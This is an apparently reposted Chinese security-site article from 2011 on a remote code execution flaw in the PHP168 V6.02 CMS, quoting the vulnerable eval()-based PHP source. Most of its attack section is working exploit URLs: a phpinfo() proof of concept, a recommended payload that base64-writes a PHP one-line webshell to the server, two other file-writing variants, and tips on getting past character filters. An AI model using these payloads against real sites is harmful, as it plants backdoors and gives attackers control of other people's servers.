首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置：主页>安全文章>文章资料>漏洞资料>文章内容
PHP168 V6.02 整站系统远程执行任意代码漏洞利用
来源：vfocus.net 作者：Luc1f3r 发布时间：2011-08-12  

漏洞出在 inc/function.inc.php 里面 .get_html_url() 这个函数.

inc/function.inc.php：

function get_html_url(){
 global $rsdb,$aid,$fidDB,$webdb,$fid,$page,$showHtml_Type,$Html_Type;
 $id=$aid;
 if($page<1){
  $page=1;
 }
 $postdb[posttime]=$rsdb[posttime];
 
 if($showHtml_Type[bencandy][$id]){
  $filename_b=$showHtml_Type[bencandy][$id];
 }elseif($fidDB[bencandy_html]){
  $filename_b=$fidDB[bencandy_html];
 }else{
  $filename_b=$webdb[bencandy_filename];
 }
 //对于内容页的首页把$page去除
 if($page==1){
  $filename_b=preg_replace("/(.*)(-{\\\$page}|_{\\\$page})(.*)/is","\\1\\3",$filename_b);
 }
 $dirid=floor($aid/1000);
 //对于内容页的栏目小于1000篇文章时,把DIR分目录去除
 if($dirid==0){
  $filename_b=preg_replace("/(.*)(-{\\\$dirid}|_{\\\$dirid})(.*)/is","\\1\\3",$filename_b);
 }
 if(strstr($filename_b,'$time_')){
  $time_Y=date("Y",$postdb[posttime]);
  $time_y=date("y",$postdb[posttime]);
  $time_m=date("m",$postdb[posttime]);
  $time_d=date("d",$postdb[posttime]);
  $time_W=date("W",$postdb[posttime]);
  $time_H=date("H",$postdb[posttime]);
  $time_i=date("i",$postdb[posttime]);
  $time_s=date("s",$postdb[posttime]);
 }
 if($fidDB[list_html]){
  $filename_l=$fidDB[list_html];
 }else{
  $filename_l=$webdb[list_filename];
 }
 if($page==1){
  if($webdb[DefaultIndexHtml]==1){
   $filename_l=preg_replace("/(.*)\/([^\/]+)/is","\\1/index.html",$filename_l);
  }else{
   $filename_l=preg_replace("/(.*)\/([^\/]+)/is","\\1/index.htm",$filename_l);
  }
 }
 eval("\$array[_showurl]=\"$filename_b\";");
 eval("\$array[_listurl]=\"$filename_l\";");
 //自定义了栏目域名
 if($Html_Type[domain][$fid]&&$Html_Type[domain_dir][$fid]){
  $rule=str_replace("/","\/",$Html_Type[domain_dir][$fid]);
  $filename_b=preg_replace("/^$rule/is","{$Html_Type[domain][$fid]}/",$filename_b);
  $filename_l=preg_replace("/^$rule/is","{$Html_Type[domain][$fid]}/",$filename_l);
  //特别处理一下些自定义内容页文件名的情况.
  if(!eregi("^http:\/\/",$filename_b)){
   $filename_b="$webdb[www_url]/$filename_b";
  }
 }else{
  $filename_b="$webdb[www_url]/$filename_b";
  $filename_l="$webdb[www_url]/$filename_l";
 }
 eval("\$array[showurl]=\"$filename_b\";");
 eval("\$array[listurl]=\"$filename_l\";");
 return $array;
}

当 $showHtml_Type 这个数组存在时,赋值 $filename_b 为 $showHtml_Type[bencandy][$id]. 跟一下这个 get_html_url() 函数.

    在member/post.php中:

member/post.php：

if(!$aid&&!$rid){
 $aid=$id;
}
if($rid)
{
 if(!$aid){
  showerr("aid不存在!");
 }
 $erp=get_id_table($aid);
 //修改主题或修改多页都可
 $rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE R.rid='$rid'");
 $aid=$rsdb[aid];
 $fid=$rsdb[fid];
 $mid=$rsdb[mid];
}
elseif($aid)
{
 $erp=get_id_table($aid);
 //只能是修改主题/续发文章
 $rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE A.aid='$aid' ORDER BY R.rid ASC LIMIT 1");
 isset($fid) || $fid=$rsdb[fid];
 $mid=$rsdb[mid];
}
//让用户选择栏目
if((!$fid&&!$only)||$jobs=="choose")
{
 $sortdb=array();
 if( $webdb[sortNUM]>500||$fid ){
  $rows=100;
  $page<1 && $page=1;
  $min=($page-1)*$rows;
  $showpage=getpage("{$pre}sort","WHERE fup='$fid'","?lfj=$lfj&job=$job&jobs=$jobs&only=$only&mid=$mid&fid=$fid",$rows);
  $query = $db->query("SELECT * FROM {$pre}sort WHERE fup='$fid' ORDER BY list DESC,fid ASC LIMIT $min,$rows");
  while($rs = $db->fetch_array($query)){
   $rs[post]=$rs[NUM]=$rs[do_art]='';
   $detail_admin=@explode(",",$rs[admin]);
   $detail_allowpost=@explode(",",$rs[allowpost]);
   if(!$rs[type]&&( $web_admin||($lfjid&&@in_array($lfjid,$detail_admin))||@in_array($groupdb['gid'],$detail_allowpost) ))
   {
    $erp=$Fid_db[iftable][$rs[fid]];
    $_rs=$db->get_one("SELECT COUNT(*) AS NUM FROM {$pre}article$erp WHERE fid='$rs[fid]' AND uid='$lfjuid'");
    if($_rs[NUM]&&$lfjid){
     $rs[NUM]="( <b>{$_rs[NUM]}</b> )";
     $rs[do_art]="<A HREF='myarticle.php?job=myarticle&fid=$rs[fid]' class='manage_article'>管理</A>";
    }
    $rs[post]="<A HREF='?job=postnew&fid=$rs[fid]' class='post_article'>发表</A>";
    $allowpost++;
   }
   $sortdb[]=$rs;
  }
  if($fid){
   $show_guide="<A HREF='?lfj=$lfj&jobs=$jobs&job=$job&only=$only&mid=$mid'>返回顶级目录</A> ".list_sort_guide($fid);
  }
 }else{ 
  list_post_allsort();
  if(!$allowpost){
   showerr("你所在用户组无权发表文章",1);
  }
 }
 $MSG="请选择一个栏目投稿";
 require(dirname(__FILE__)."/"."head.php");
 require(dirname(__FILE__)."/"."template/post_set.htm");
 require(dirname(__FILE__)."/"."foot.php");
 exit;
}
if($fid||$step){
 $fidDB=$db->get_one("SELECT * FROM {$pre}sort WHERE fid='$fid'");
 !$fidDB && showerr("栏目有误");
 $fidDB[type]!=0 && showerr("你只能选择子栏目发表内容!");
}
$job=='postnew' && !$mid && $mid=$fidDB[fmid];
if($lfjid&&@in_array($lfjid,explode(',',$fidDB[admin])))
{
 $web_admin=1;
}
if($fidDB&&!$web_admin&&!in_array($groupdb[gid],explode(',',$fidDB[allowpost])))
{
 showerr("你所在用户组无权在本栏目“{$fidDB[name]}”有任何操作");
}
if(!$lfjid&&$job!='postnew')
{
 showerr("游客无权操作");
}
$atc_power=0;
if($lfjid)
{
 if($web_admin||$lfjuid==$rsdb[uid]){
  $atc_power=1;
 }
}
$uid=isset($rsdb[uid])?$rsdb[uid]:$lfjuid;
if($job=='endHTML')

{

$htmlurldb=get_html_url();

//首页生成静态

@unlink(PHP168_PATH."index.htm.bak");

rename(PHP168_PATH."index.htm",PHP168_PATH."index.htm.bak");

refreshto("myarticle.php?job=myarticle&mid=$mid&only=$only","<CENTER>[<A HREF='?job=postnew&fid=$fid&mid=$mid&only=$only'>发表新主题</A>] [<A HREF='?job=post_more&aid=$aid&mid=$mid&only=$only'>续发本主题</A>] [<A HREF='myarticle.php?job=myarticle&fid=$fid&mid=$mid&only=$only'>返回文章列表</A>] [<A HREF='{$htmlurldb[showurl]}' target=_blank>查看文章</A>] [<A HREF='?job=manage&aid=$aid&mid=$mid&only=$only'>修改文章</A>]</CENTER>",60);

}

当only或者fid不等于0时,且job等于"endHTML"时,执行函数.由于$showHtml_Type数组和$aid是可以由我们赋值的,所以漏洞产生.

    先注册一个会员,登陆后在地址栏提交:

http://URL/member/post.php?only=1&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=1&job=endHTML

    可以看到执行了phpinfo().

Nuclear'Atk 改良 EXP，强烈推荐使用：

示例：

    http://www.XXXX.com/member/post.php?only=1&aid=1&job=endHTML&showHtml_Type[bencandy][1]={${fwrite(fopen(base64_decode('eC5waHAg'),'w'),base64_decode('PD9waHBpbmZvKCk7Pz4g')) and print('ok')}}

    生成：http://www.XXXX.com/member/x.php，内容为：<?phpinfo();?> ，同时在当前页面输出：ok。
 
Exp：

    http://www.XXXX.com/member/post.php?only=1&aid=1&job=endHTML&showHtml_Type[bencandy][1]={${fwrite(fopen(base64_decode('eC5waHAg'),'w'),base64_decode('PD9AZXZhbCgkX1BPU1RbJ3Bhc3MnXSk7Pz4g')) and print('ok')}}

    直接在该目录生成个PHP一句话木马，路径为：http://www.XXXX.com/member/x.php，内容为：<?@eval($_POST['pass']);?> ，同时在当前页面输出：ok。

注意：

    这个漏洞利用要注意，注意一定要登陆进去再操作，同时语句不能含有叹号(!)、等号(=)、除号(/)等字符！！！所以使用 Base64 编码的时候要注意凑字数！！

其他人的：

貌似只能执行phpinfo，eval被过滤了,可以fputs(fopen()).

 

author:Luc1f3r

    一个朋友发来这个漏洞，说是不好利用，漏洞描述给出的例子phpinfo()简直是糊弄人的。

    我看了下漏洞的代码，试了下，如下方法可以利用，在魔术引号开了的情况下也可以。

    我试出两种方式：

方法一：

http://www.XXXX.com/member/post.php?only=1&showHtml_Type[bencandy][1]={${$ppp = fopen('xixi.php','w') and fwrite($ppp,'test') and print('111') and ($filename_b = stripcslashes($filename_b))}}&aid=1&job=endHTML

这种会执行两次，第二次会成功。

生成：http://www.XXXX.com/member/xixi.php，内容为：test，同时在当前页面输出：111

方法二：

http://www.XXXX.com/member/post.php?only=1&showHtml_Type[bencandy][1]={${$ppp = fopen(stripcslashes($_GET[path]),'w') and fwrite($ppp,'hello') and print('111') and ($filename_b = stripcslashes(null))}}&aid=1&job=endHTML&path=./../index1.php

这种只执行一次，不过自己得多写个参数。

生成：http://www.XXXX.com/index1.php，内容为：hello，同时在当前页面输出：111。
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容：(不能超过250字，需审核后才会公布，请自觉遵守互联网相关政策法规。
 §最新评论：
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网（DVBBS）Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码，常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·WordPress 严重的远程备份执行代
·DEDECMS拿SHELL EXP
·DEDECMS爆严重安全漏洞 免账号密
·DEDECMS全局变量覆盖漏洞科普
·discuz sessoin hijack tips
·智有道专业旅游系统 v1.0 注入及
·乌邦图企业网站系统 cookies 注
·科讯 6.x – 7.06 SQL 注射漏洞
·discuz sessoin hijack tips 续
·WordPress多个插件注入漏洞
·Bo-Blog v1.4 单用户版分类列表
·phpcms2008-0day & phpcms 2007
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved